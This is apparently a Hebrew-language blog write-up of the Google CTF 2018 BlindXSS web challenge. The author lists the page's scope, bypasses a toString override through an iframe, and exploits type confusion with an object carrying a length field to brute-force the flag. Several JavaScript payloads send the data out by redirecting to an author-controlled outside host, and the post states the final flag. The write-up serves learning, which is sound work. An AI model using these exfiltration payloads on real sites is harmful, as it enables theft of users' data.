google CTF BlindXSS
במהלך חודש יוני התקיימה תחרות Google CTF ו-10 הקבוצות המובילות טסו ללונדון בחודש שעבר להתחרות בתחרות סגורה של Google CTF Finals.
אני לא השתתפתי בתחרות אך אחד החברים שלי השתתף והוא שלח לי לינק לאחר סיום התחרות. מיד ניסיתי לפתור את אחד מאתגרי ה-Web ה"קלים" שהיו שם.
לדעתי מדובר באחד האתגרים הקשים יותר שיצא לי לפתור, במהלך הפתרון למדתי מספר טכניקות מעניינות וברצוני לשתף אותן אתכם.
לאתגרים:
https://gctf-2018.appspot.com/#challenges
האתגר מתחיל כך:
לסרטון המציג את פתרון האתגר:
נלחץ על הלינק ונעבור לאתר הבא:

ניתן לראות שמצאנו Blind XSS באתר אבל אנו לא יודעים מי מריץ אותו, מתי ואיך? המטרה שלנו היא לנצל את הBlindXSS- ולהשיג את ה-flag.
התחלתי את האתגר עם סריקת ה-scope שלי על ידי שימוש ב:
Object.keys(window);
כך בעצם נקבל את כל המשתנים והפונקציות המוגדרות ב-scope שלנו:

את התוצאה אנו רואים בקובץ ה-access.log של שרת ה-apache2 שלי ב-domain שאני שולט עליו www.gmailtracker.com:

אם נבחן את המשתנים מקרוב או נשווה אותם למשתנים ב-scope של אתר כלשהו באינטרנט נראה שהמשתנה enter הוא יוצא מן הכלל.
לכן השלב הבא הוא לצפות בתוכן של המשתנה enter:
location="https://www.gmailtracker.com?aaaaa"%2benter
התוצאה של ביצוע פעולה זו הינה:

ניתן לראות שקיבלנו את המשפט:
[No source code for you. Not on my watch not in my world]
אפשר להניח שהם מימשו מאחורי הקלעים מנגנון אשר מבצע override לפונקציה toString וכך לא מאפשרים לנו לראות את הקוד של הפונקציה enter:

אם נכתוב את שם הפונקציה ב-console נראה את התשובה הבאה:

אם תשימו לב, ניתן לראות שמדובר ברמז אשר מציין שעלינו לפנות לקוד מעולם אחר “Not on my watch not in my world” הכוונה בעולם היא ל-scope כך שעלינו לפנות לקוד הזה מדף אחר.
לשם כך ניתן להשתמש ב-iframe בצורה הבאה:
<iframe srcdoc="<script>parent.output = Function.prototype.toString.call(parent.enter)</script>"></iframe>
ה-iframe הזה יפנה ל-parent.enter ויבצע עליו toString מ-scope אחר ששם אין לנו override ויכניס את התוצאה ל-scope של ה-parent.
הקוד המלא יראה כך:

לאחר הרצת הקוד נפנה ל-output, ונראה שעכשיו אנו יכולים לגשת לקוד של הפונקציה enter ולהוציא את הסיסמא.

נכתוב קוד שיבצע את אותו הדבר בצורה דינמית וישלח לנו את הקוד לשרת:
payload=(function(){
s=document.createElement('iframe')%3b
s.srcdoc = '<svg/onload="parent.result=Function.prototype.toString.call(parent.enter)">'%3b
document.head.appendChild(s)%3b
setTimeout(function(){
location="https://www.gmailtracker.com/?"%2bresult%3b
},50)%3b
})();
התוצאה של הרצת הקוד תראה כך:

ניתן לראות שהפונקציה enter מכילה את הלוגיקה הבאה:

שימו לב שהלולאה מבצעת password.length, ו-password הוא משתנה שאנו מעבירים לפונקציה enter.
אם password הוא טקסט כלשהו אז ה-length הוא אורך הטקסט אבל אם ה-password הוא אובייקט? אז אנחנו יכולים להשתמש באובייקט ולהכניס לו את הערך length ולגרום לtype confusion- בלולאה.
כך שאם נכניס לקוד enter את הסיסמא הבאה:
{length: -1}
לולאת ה-for לא תתקיים כלל והקוד שלנו יתבצע.
כך שאם נתחיל לשנות את ה-length ולהוסיף ערכים ניתן יהיה לבצע bruteforce קל בשיטה הבאה:
אנו יודעים שהדגל מתחיל במילה "}CTF" לכן ברור לנו שארבעת התווים הראשונים הם "}CTF", לכן נשאר לנו לגלות את התו החמישי באמצעות intruder (במקום סימן השאלה כמו בסרטון) וכך אם נשלח את הבקשה הבאה:
payload=(function(){
enter({length: 4, 0:"C", 1:"T", 2:"F", 3:"{", 4:"?"}, 'location="https://www.gmailtracker.com/?"%2b"CTF{?"')%3b
})();
נקבל שהתו הראשון של ה-flag הינו האות 'D'

ה-payload הסופי נראה כך:
payload=(function(){
enter({length: 22, 0:"C",1:"T", 2:"F", 3:"{", 4: 'D', 5: '3', 6: 'F', 7: '3', 8: 'n', 9: 's', 10: 'i', 11: 'V', 12: '3', 13: '_', 14: 'J', 15: 'S', 16: '_', 17: '4', 18: 'E', 19: 'v', 20: '3', 21: 'r', 22: '}'}, 'location="https://www.gmailtracker.com/?"%2b"CTF{D3F3nsiV3_JS_4Ev3r}"')%3b
})();
מה שייתן לנו את הסיסמא הבאה:

אני למדתי המון במהלך פתרון האתגר הזה מקווה שגם אתם 😊